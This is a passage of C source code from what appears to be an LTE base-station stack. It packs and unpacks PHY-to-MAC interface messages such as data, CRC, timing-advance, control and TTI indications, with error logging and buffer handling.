* Desc : This Primitive carries the Data PDUs from PHY to MAC.
* @details The uplink Data i.e. the data transmitted by the UEs received by the
* physical layer at the eNodeB in the subframe (indicated by the timingInfo),
* is relayed to MAC using this primitive.
* @param pst
* @param spId
* @param tfuDatInd pointer to TfuDatIndInfo
* @return
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuDatInd
(
TfuDatInd func,
Pst *pst,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuDatInd(func, pst, mBuf)
TfuDatInd func;
Pst *pst;
Buffer *mBuf;
#endif
{
SpId spId;
TfuDatIndInfo *datInd;
TRC3(cmUnpkTfuDatInd)
if (SUnpkS16(&spId, mBuf) != ROK) {
TFU_FREE_MSG(mBuf);
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU078, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
if (pst->selector != TFU_SEL_LWLC) {
Mem sMem;
sMem.region = pst->region;
sMem.pool = pst->pool;
if ((cmAllocEvnt(sizeof(TfuDatIndInfo), TFU_BLKSZ, &sMem, (Ptr *)&datInd)) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU079, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
if (pst->selector == TFU_SEL_LC)
{
if (cmUnpkTfuDatIndInfo(datInd, (Ptr)&datInd->memCp, mBuf) != ROK) {
TFU_FREE_MEM(datInd);
TFU_FREE_MSG(mBuf);
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU080, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
}
else if(pst->selector == TFU_SEL_LWLC)
{
if(cmUnpkPtr((PTR *)&datInd, mBuf) != ROK)
{
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFUXXX, (ErrVal)0, "LWLC un-Packing failed");
#endif
TFU_FREE_MEM(datInd);
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
TFU_FREE_MSG(mBuf);
RETVALUE((*func)(pst, spId, datInd));
}
/***********************************************************
*
* Func : cmPkTfuCrcInd
*
*
* Desc : This API is used by the Physical layer to indicate if the CRC Check
* on the PUSCH Data was successful or not.
* @details This primitive carries CRC indication for a list of UEs. This
* is utilized in the scenario where MAC requested the reception of uplink data
* for a particular UE. On reception of the PUSCH data, the CRC check on it
* failed. This CRC failure is indicated to MAC, which would utillize this
* information for further scheduling.
* Physical layer would indicate failure or success for each PUSCH transmission.
* @param pst Pointer to the post structure.
* @param suId SAP ID of the service user.
* @param crcInd Pointer to the TfuCrcIndInfo.
* @return ROK/RFAILED
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuCrcInd
(
Pst * pst,
SuId suId,
TfuCrcIndInfo * crcIndInfo
)
#else
PUBLIC S16 cmPkTfuCrcInd(pst, suId, crcIndInfo)
Pst * pst;
SuId suId;
TfuCrcIndInfo * crcIndInfo;
#endif
{
Buffer *mBuf = NULLP;
TRC3(cmPkTfuCrcInd)
if (SGetMsg(pst->region, pst->pool, &mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU081, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MEM(crcIndInfo);
RETVALUE(RFAILED);
}
if (pst->selector == TFU_SEL_LC) {
if (cmPkTfuCrcIndInfo(crcIndInfo, mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU082, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MEM(crcIndInfo);
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
else if(pst->selector == TFU_SEL_LWLC)
{
if (cmPkPtr((PTR)crcIndInfo, mBuf) != ROK)
{
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFUXXX, (ErrVal)0, "LWLC Packing failed");
#endif
TFU_FREE_MEM(crcIndInfo);
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
if (SPkS16(suId, mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU083, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MEM(crcIndInfo);
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
if (pst->selector != TFU_SEL_LWLC) {
TFU_FREE_MEM(crcIndInfo);
}
pst->event = (Event) EVTTFUCRCIND;
RETVALUE(SPstTsk(pst,mBuf));
}
/***********************************************************
*
* Func : cmUnpkTfuCrcInd
*
*
* Desc : This API is used by the Physical layer to indicate if the CRC Check
* on the PUSCH Data was successful or not.
* @details This primitive carries CRC indication for a list of UEs. This
* is utilized in the scenario where MAC requested the reception of uplink data
* for a particular UE. On reception of the PUSCH data, the CRC check on it
* failed. This CRC failure is indicated to MAC, which would utillize this
* information for further scheduling.
* Physical layer would indicate failure or success for each PUSCH transmission.
* @param pst Pointer to the post structure.
* @param suId SAP ID of the service user.
* @param crcInd Pointer to the TfuCrcIndInfo.
* @return ROK/RFAILED
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuCrcInd
(
TfuCrcInd func,
Pst *pst,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuCrcInd(func, pst, mBuf)
TfuCrcInd func;
Pst *pst;
Buffer *mBuf;
#endif
{
SuId suId;
TfuCrcIndInfo *crcIndInfo;
TRC3(cmUnpkTfuCrcInd)
if (SUnpkS16(&suId, mBuf) != ROK) {
TFU_FREE_MSG(mBuf);
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU084, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
if (pst->selector != TFU_SEL_LWLC) {
Mem sMem;
sMem.region = pst->region;
sMem.pool = pst->pool;
if ((cmAllocEvnt(sizeof(TfuCrcIndInfo), TFU_BLKSZ, &sMem, (Ptr *)&crcIndInfo)) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU085, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
if (pst->selector == TFU_SEL_LC)
{
if (cmUnpkTfuCrcIndInfo(crcIndInfo, (Ptr)&crcIndInfo->memCp, mBuf) != ROK) {
TFU_FREE_MEM(crcIndInfo);
TFU_FREE_MSG(mBuf);
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU086, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
}
else if(pst->selector == TFU_SEL_LWLC)
{
if (cmUnpkPtr((PTR *)&crcIndInfo, mBuf) != ROK)
{
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFUXXX, (ErrVal)0, "LWLC un-Packing failed");
#endif
TFU_FREE_MEM(crcIndInfo);
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
TFU_FREE_MSG(mBuf);
RETVALUE((*func)(pst, suId, crcIndInfo));
}
/***********************************************************
*
* Func : cmPkTfuTimingAdvInd
*
*
* Desc : This API is used to indicate a Timing Advance from PHY to Scheduler .
* @details This primitive carries timing advance information for a number of
* UEs that may need timing advance. Timing advance information is an estimate
* of the timing adjustment that a UE would need to apply in order to be
* synchronized in uplink. This estimate is to be calculated by physical layer.
* @param pst Pointer to the post structure.
* @param suId SAP ID of the service user.
* @param timingAdvInd Pointer to the TfuTimingAdvIndInfo structure.
* @return ROK/RFAILED
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuTimingAdvInd
(
Pst * pst,
SuId suId,
TfuTimingAdvIndInfo * timingAdvInd
)
#else
PUBLIC S16 cmPkTfuTimingAdvInd(pst, suId, timingAdvInd)
Pst * pst;
SuId suId;
TfuTimingAdvIndInfo * timingAdvInd;
#endif
{
Buffer *mBuf = NULLP;
TRC3(cmPkTfuTimingAdvInd)
if (SGetMsg(pst->region, pst->pool, &mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU087, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MEM(timingAdvInd);
RETVALUE(RFAILED);
}
if (pst->selector == TFU_SEL_LC) {
if (cmPkTfuTimingAdvIndInfo(timingAdvInd, mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU088, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MEM(timingAdvInd);
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
else if(pst->selector == TFU_SEL_LWLC)
{
if (cmPkPtr((PTR)timingAdvInd, mBuf) != ROK)
{
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFUXXX, (ErrVal)0, "LWLC Packing failed");
#endif
TFU_FREE_MEM(timingAdvInd);
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
if (SPkS16(suId, mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU089, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MEM(timingAdvInd);
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
if (pst->selector != TFU_SEL_LWLC) {
TFU_FREE_MEM(timingAdvInd);
}
pst->event = (Event) EVTTFUTIMINGADVIND;
RETVALUE(SPstTsk(pst,mBuf));
}
/***********************************************************
*
* Func : cmUnpkTfuTimingAdvInd
*
*
* Desc : This API is used to indicate a Timing Advance from PHY to Scheduler .
* @details This primitive carries timing advance information for a number of
* UEs that may need timing advance. Timing advance information is an estimate
* of the timing adjustment that a UE would need to apply in order to be
* synchronized in uplink. This estimate is to be calculated by physical layer.
* @param pst Pointer to the post structure.
* @param suId SAP ID of the service user.
* @param timingAdvInd Pointer to the TfuTimingAdvIndInfo structure.
* @return ROK/RFAILED
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuTimingAdvInd
(
TfuTimingAdvInd func,
Pst *pst,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuTimingAdvInd(func, pst, mBuf)
TfuTimingAdvInd func;
Pst *pst;
Buffer *mBuf;
#endif
{
SuId suId;
TfuTimingAdvIndInfo *timingAdvInd;
TRC3(cmUnpkTfuTimingAdvInd)
if (SUnpkS16(&suId, mBuf) != ROK) {
TFU_FREE_MSG(mBuf);
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU090, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
if (pst->selector != TFU_SEL_LWLC) {
Mem sMem;
sMem.region = pst->region;
sMem.pool = pst->pool;
if ((cmAllocEvnt(sizeof(TfuTimingAdvIndInfo), TFU_BLKSZ, &sMem, (Ptr *)&timingAdvInd)) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU091, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
if (pst->selector == TFU_SEL_LC)
{
if (cmUnpkTfuTimingAdvIndInfo(timingAdvInd, (Ptr)&timingAdvInd->memCp, mBuf) != ROK) {
TFU_FREE_MEM(timingAdvInd);
TFU_FREE_MSG(mBuf);
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU092, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
}
else if(pst->selector == TFU_SEL_LWLC)
{
if (cmUnpkPtr((PTR *)&timingAdvInd, mBuf) != ROK)
{
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFUXXX, (ErrVal)0, "LWLC un-Packing failed");
#endif
TFU_FREE_MEM(timingAdvInd);
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
TFU_FREE_MSG(mBuf);
RETVALUE((*func)(pst, suId, timingAdvInd));
}
/***********************************************************
*
* Func : cmPkTfuDatReq
*
*
* Desc : This Primitive carries the Data PDUs from MAC to PHY for
* transmission.
* @details The data being sent in this primitive is meant to be transmitted on
* the downlink channel PDSCH and PBCH (if present). To facilitate physical
* layer processing, requisite control information is also sent along with the
* data.
* @sa TfUiTfuCntrlReq
* @param pst
* @param spId
* @param tfuDatReq pointer to TfuDatReqInfo
* @return
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuDatReq
(
Pst * pst,
SpId spId,
TfuDatReqInfo * datReq
)
#else
PUBLIC S16 cmPkTfuDatReq(pst, spId, datReq)
Pst * pst;
SpId spId;
TfuDatReqInfo * datReq;
#endif
{
Buffer *mBuf = NULLP;
TRC3(cmPkTfuDatReq)
if (SGetMsg(pst->region, pst->pool, &mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU093, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MEM(datReq);
RETVALUE(RFAILED);
}
if (pst->selector == TFU_SEL_LC) {
if (cmPkTfuDatReqInfo(datReq, mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU094, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MEM(datReq);
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
else if(pst->selector == TFU_SEL_LWLC)
{
if(cmPkPtr((PTR)datReq, mBuf) != ROK)
{
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFUXXX, (ErrVal)0, "LWLC Packing failed");
#endif
TFU_FREE_MEM(datReq);
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
if (SPkS16(spId, mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU095, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MEM(datReq);
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
if (pst->selector != TFU_SEL_LWLC) {
TFU_FREE_MEM(datReq);
}
pst->event = (Event) EVTTFUDATREQ;
RETVALUE(SPstTsk(pst,mBuf));
}
/***********************************************************
*
* Func : cmUnpkTfuDatReq
*
*
* Desc : This Primitive carries the Data PDUs from MAC to PHY for
* transmission.
* @details The data being sent in this primitive is meant to be transmitted on
* the downlink channel PDSCH and PBCH (if present). To facilitate physical
* layer processing, requisite control information is also sent along with the
* data.
* @sa TfUiTfuCntrlReq
* @param pst
* @param spId
* @param tfuDatReq pointer to TfuDatReqInfo
* @return
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuDatReq
(
TfuDatReq func,
Pst *pst,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuDatReq(func, pst, mBuf)
TfuDatReq func;
Pst *pst;
Buffer *mBuf;
#endif
{
SpId spId;
TfuDatReqInfo *datReq;
TRC3(cmUnpkTfuDatReq)
if (SUnpkS16(&spId, mBuf) != ROK) {
TFU_FREE_MSG(mBuf);
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU096, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
if (pst->selector != TFU_SEL_LWLC) {
Mem sMem;
sMem.region = pst->region;
sMem.pool = pst->pool;
if ((cmAllocEvnt(sizeof(TfuDatReqInfo), TFU_BLKSZ, &sMem, (Ptr *)&datReq)) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU097, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
if (pst->selector == TFU_SEL_LC)
{
if (cmUnpkTfuDatReqInfo(datReq, (Ptr)&datReq->memCp, mBuf) != ROK) {
TFU_FREE_MEM(datReq);
TFU_FREE_MSG(mBuf);
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU098, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
}
else if (pst->selector == TFU_SEL_LWLC)
{
if(cmUnpkPtr((PTR *)&datReq, mBuf) != ROK)
{
TFU_FREE_MEM(datReq);
TFU_FREE_MSG(mBuf);
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFUXXX, (ErrVal)0, "LWLC Un-Packing failed");
#endif
RETVALUE(RFAILED);
}
}
TFU_FREE_MSG(mBuf);
RETVALUE((*func)(pst, spId, datReq));
}
/***********************************************************
*
* Func : cmPkTfuCntrlReq
*
*
* Desc : This Primitive is sent from Scheduler to PHY. It provides PHY with
* all the control information
* @details This primitive carries the information sent on the following
* channels -
* -# PDCCH
* -# PHICH
* -# PCFICH
*
* @param pst
* @param spId
* @param cntrlReq pointer to TfuCntrlReqInfo
* @return ROK/RFAILED
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuCntrlReq
(
Pst * pst,
SpId spId,
TfuCntrlReqInfo * cntrlReq
)
#else
PUBLIC S16 cmPkTfuCntrlReq(pst, spId, cntrlReq)
Pst * pst;
SpId spId;
TfuCntrlReqInfo * cntrlReq;
#endif
{
Buffer *mBuf = NULLP;
TRC3(cmPkTfuCntrlReq)
if (SGetMsg(pst->region, pst->pool, &mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU099, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MEM(cntrlReq);
RETVALUE(RFAILED);
}
if (pst->selector == TFU_SEL_LC) {
if (cmPkTfuCntrlReqInfo(cntrlReq, mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU100, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MEM(cntrlReq);
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
else if(pst->selector == TFU_SEL_LWLC)
{
if (cmPkPtr((PTR)cntrlReq, mBuf) != ROK)
{
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFUXXX, (ErrVal)0, "LWLC Packing failed");
#endif
TFU_FREE_MEM(cntrlReq);
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
if (SPkS16(spId, mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU101, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MEM(cntrlReq);
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
if (pst->selector != TFU_SEL_LWLC) {
TFU_FREE_MEM(cntrlReq);
}
pst->event = (Event) EVTTFUCNTRLREQ;
RETVALUE(SPstTsk(pst,mBuf));
}
/***********************************************************
*
* Func : cmUnpkTfuCntrlReq
*
*
* Desc : This Primitive is sent from Scheduler to PHY. It provides PHY with
* all the control information
* @details This primitive carries the information sent on the following
* channels -
* -# PDCCH
* -# PHICH
* -# PCFICH
*
* @param pst
* @param spId
* @param cntrlReq pointer to TfuCntrlReqInfo
* @return ROK/RFAILED
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuCntrlReq
(
TfuCntrlReq func,
Pst *pst,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuCntrlReq(func, pst, mBuf)
TfuCntrlReq func;
Pst *pst;
Buffer *mBuf;
#endif
{
SpId spId;
TfuCntrlReqInfo *cntrlReq;
TRC3(cmUnpkTfuCntrlReq)
if (SUnpkS16(&spId, mBuf) != ROK) {
TFU_FREE_MSG(mBuf);
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU102, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
if (pst->selector != TFU_SEL_LWLC) {
Mem sMem;
sMem.region = pst->region;
sMem.pool = pst->pool;
if ((cmAllocEvnt(sizeof(TfuCntrlReqInfo), TFU_BLKSZ, &sMem, (Ptr *)&cntrlReq)) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU103, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
if (pst->selector == TFU_SEL_LC)
{
if (cmUnpkTfuCntrlReqInfo(cntrlReq, (Ptr)&cntrlReq->memCp, mBuf) != ROK) {
TFU_FREE_MEM(cntrlReq);
TFU_FREE_MSG(mBuf);
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU104, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
}
else if(pst->selector == TFU_SEL_LWLC)
{
if (cmUnpkPtr((PTR *)&cntrlReq, mBuf) != ROK)
{
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFUXXX, (ErrVal)0, "LWLC un-Packing failed");
#endif
TFU_FREE_MEM(cntrlReq);
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
TFU_FREE_MSG(mBuf);
RETVALUE((*func)(pst, spId, cntrlReq));
}
/***********************************************************
*
* Func : cmPkTfuTtiInd
*
*
* Desc : This API is the TTI indication from PHY to MAC .
* @details This primitive provides the timing information (SFN and subframe)
* which is currently running on the physical layer.
* @param pst Pointer to the post structure.
* @param suId SAP ID of the service user.
* @param ttiInd Pointer to the TfuTtiIndInfo.
* @return ROK/RFAILED
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuTtiInd
(
Pst * pst,
SuId suId,
TfuTtiIndInfo * ttiInd
)
#else
PUBLIC S16 cmPkTfuTtiInd(pst, suId, ttiInd)
Pst * pst;
SuId suId;
TfuTtiIndInfo * ttiInd;
#endif
{
Buffer *mBuf = NULLP;
TRC3(cmPkTfuTtiInd)
if (SGetMsg(pst->region, pst->pool, &mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU105, (ErrVal)0, "Packing failed");
#endif
SPutSBuf(pst->region, pst->pool, (Data *)ttiInd, sizeof(TfuTtiIndInfo));
RETVALUE(RFAILED);
}
if (pst->selector == TFU_SEL_LC) {
if (cmPkTfuTtiIndInfo(ttiInd, mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU106, (ErrVal)0, "Packing failed");
#endif
SPutSBuf(pst->region, pst->pool, (Data *)ttiInd, sizeof(TfuTtiIndInfo));
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
else if(pst->selector == TFU_SEL_LWLC)
{
if (cmPkPtr((PTR)ttiInd, mBuf) != ROK)
{
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFUXXX, (ErrVal)0, "LWLC Packing failed");
#endif
/*MS_FIX:71858:Changed to SPutSBuf as being allocated with SGetSBuf*/
SPutSBuf(pst->region, pst->pool, (Data *)ttiInd, sizeof(TfuTtiIndInfo));
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
if (SPkS16(suId, mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU107, (ErrVal)0, "Packing failed");
#endif
SPutSBuf(pst->region, pst->pool, (Data *)ttiInd, sizeof(TfuTtiIndInfo));
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
if (pst->selector != TFU_SEL_LWLC) {
if (SPutSBuf(pst->region, pst->pool, (Data *)ttiInd, sizeof(TfuTtiIndInfo)) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU108, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
pst->event = (Event) EVTTFUTTIIND;
RETVALUE(SPstTsk(pst,mBuf));
}
/***********************************************************
*
* Func : cmUnpkTfuTtiInd
*
*
* Desc : This API is the TTI indication from PHY to MAC .
* @details This primitive provides the timing information (SFN and subframe)
* which is currently running on the physical layer.
* @param pst Pointer to the post structure.
* @param suId SAP ID of the service user.
* @param ttiInd Pointer to the TfuTtiIndInfo.
* @return ROK/RFAILED
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuTtiInd
(
TfuTtiInd func,
Pst *pst,
Buffer *mBuf
)
